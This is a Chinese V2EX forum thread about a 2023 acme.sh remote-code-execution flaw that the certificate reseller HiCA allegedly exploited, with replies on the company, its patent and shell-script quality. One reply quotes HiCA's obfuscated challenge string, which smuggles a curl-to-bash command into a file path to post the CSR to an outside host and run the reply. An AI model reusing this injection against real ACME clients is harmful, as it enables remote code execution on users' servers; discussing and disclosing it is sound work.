acme.sh 存在 RCE 漏洞,已经被国产 HiCA 利用

2023-06-09 17:36:55 +08:00
 baobao1270

https://github.com/acmesh-official/acme.sh/issues/4659

一家来自中国证书颁发机构 HiCA 正在向 ACME 质询过程中注入任意命令,并且可以被 acme.sh 在客户端执行。

建议大家不要使用 HiCA 这家 CA ,最好仅使用知名的证书服务比如 ZeroSSL, Let's Encrypt, Google Trust Service 等。

他们甚至还申请了专利……: https://qxb-img-osscache.qixin.com/patents_pdf_new/2219395a941e8bae0e5cb4475b3b3610.pdf

10012 次点击
所在节点    信息安全
47 条回复
LeviMarvin
2023-06-09 21:07:01 +08:00
HiCA 自称不是 CA ,但其在国内注册的公司经营 CA 相关的服务(例如 PKI ),而且其作为分销商如何做到提供中国大陆内的 OCSP 服务,这应当由 CA 进行。简单来说,他们( HiCA )没有就利用漏洞进行商业一事做出声明,而且还自曝以防止 DDoS 攻击为借口将流量导向 WH 。
LeviMarvin
2023-06-09 21:12:16 +08:00
@patrickyoung 坏消息,只是一个无耻的中间商
xiangyuecn
2023-06-09 21:31:42 +08:00
我说呢,去年就发现了,这家的 ACME 接口返回的内容是命令行脚本,没法正常通过 ACME 客户端去申请证书,如果要干坏事是迟早的事

------------------

快速在线验证: https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

打开《 HTML5 网页版 ACME 客户端后》,手动填写 ACME 地址: https://acme.hi.cn/directory ,然后随便填个域名和邮箱,点击创建两个密钥,然后就能看到 HiCA 返回的命令行文本了

刚才测试了一下,acme.hi.cn 域名解析都没了,秒关了吗 还是我的网有问题😅
xiangyuecn
2023-06-09 21:52:28 +08:00
我网的问题,刚又打开了他们的网站。。哈

接上面,填写了他们的 ACME 地址后,会提示跨域了,直接打开他们的 acme 服务地址打开控制台,然后执行一下页面代码,就能开始申请证书了,验证域名所有权的时候,切换到“文件 URL 验证”,就能看到:


http://asdfas123.com/.well-known/acme-challenge/dd#acme.hi.cn/acme/v2/precheck-http/109651/179551#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/109651/179551?o=$_w|bash)#
james122333
2023-06-09 22:11:55 +08:00
@makelove

shell 可以写 只是写很烂还要相容 posix sh 比较高级的特性都没有
james122333
2023-06-09 22:17:02 +08:00
是指这个脚本写很烂
wellerman
2023-06-10 00:46:38 +08:00
这脑子好使,一看平时干过不少好事。
jim9606
2023-06-10 05:18:53 +08:00
所以我觉得还是别用 shell 写太复杂的东西,值检查难写、eval 满天飞,搞出远程代码执行太正常了,哪怕用 python 都好些,至少不会依赖 eval 实现参数注入。

@james122333 烂不烂跟用不用 GPL 有啥关系?
james122333
2023-06-10 06:09:22 +08:00
@jim9606

shell 我都不写 eval XD
烂是程序烂 一堆无用的代码 写的也很不简洁
是指写的烂又 GPL 不是烂与 GPL 有关
本来想改 看到协议算了 我还是自己搞一个
marshmallow
2023-06-10 08:02:11 +08:00
acme.sh 我就没有用 root 运行过,还在用 acme.sh 是因为 cetbot 不支持我的域名托管商,cloudflare 又会限制那五个免费域。certbot 我就用默认安装的,感觉用 root 运行关系不大。
everyx
2023-06-10 08:52:41 +08:00
现在用的 certbot 完全够用啦
est
2023-06-10 09:01:51 +08:00
让我想起四个字「聪明才智」
benjix
2023-06-10 09:03:38 +08:00
这家公司的法人就是 V2EX 上的 xoxo ,曾利用 GlobalSign 计费漏洞大量签发出售 1-5 年的 AlphaSSL 证书,后来事发被吊销
https://v2ex.com/t/178503
https://v2ex.com/t/78956
azure2023us928
2023-06-10 09:11:02 +08:00
请问,漏洞修复了,删除了 exec ,这个专利是否变的没那么有价值了?

另外,专利内容写的很好,看的出来是动了脑筋的,把现有的方案优缺点都说清楚了。

就是这个题目 ‘无头’ 两字,感觉特别生硬!

还不如叫一种 acme 商业证书智能支付模式。

不得不说,完全抛开浏览器交互,全部由命令行输出 QR 码支付,简化支付流程,也是一种进步!
azure2023us928
2023-06-10 09:15:47 +08:00
建议,acme.sh 作者考虑商业支付领域的分支,采用 api 的方式或者其他更加安全的方式,为第三方证书签发机构提供一个接口,让其能通过 acme 协议进行签发。对推广 acme 协议也是一种贡献,而不仅是简单封堵漏洞!

既然有人发现了这个漏洞,而且还合理利用了,说明这个市场需求还是有的。
azure2023us928
2023-06-10 09:33:53 +08:00
另外,这个专利还有很大局限性:当用户欠费时,没有消息通知,没有自动付款的途径。总不能让命令行一直开着,等着过期弹出 QR 码吧
j8sec
2023-06-10 09:48:41 +08:00
@azure2023us928 邮件发送账单,用户支付后下次定时再续期;这个没有在申请文件中展开,很多边缘的拓展说明在最终申请文件里面精简了,原件 9 页,PDF 只有 4 页面。
SenLief
2023-06-10 09:57:23 +08:00
@benjix 这么一说我想起来了,我也买了一个,不过域名没到 5 年就续费了。
yzc27
2023-06-10 10:24:24 +08:00
不太懂具体原理,平时只在虚拟机里临时跑 acme.sh 来更新证书,每次更新完就把新的证书拉到服务器,然后虚拟机恢复快照。想知道这个漏洞会有什么安全隐患吗?
xiangyuecn
2023-06-10 10:34:36 +08:00
@yzc27 #39 这种流程,直接用我的网页版吧,简单省事。顺势再推广一波😂

HTML5 网页版 ACME 客户端:只需在现代浏览器上操作即可获得 PEM 格式纯文本的域名证书,不依赖操作系统环境,无需下载和安装软件,纯手动操作,只专注于申请获得证书这一件事] https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

相对于 shell 脚本、可执行二进制程序,浏览器端的程序天然可以简单的做到:源码可控、流量可审查,缺点也很明显 没法自动化。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/947389

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX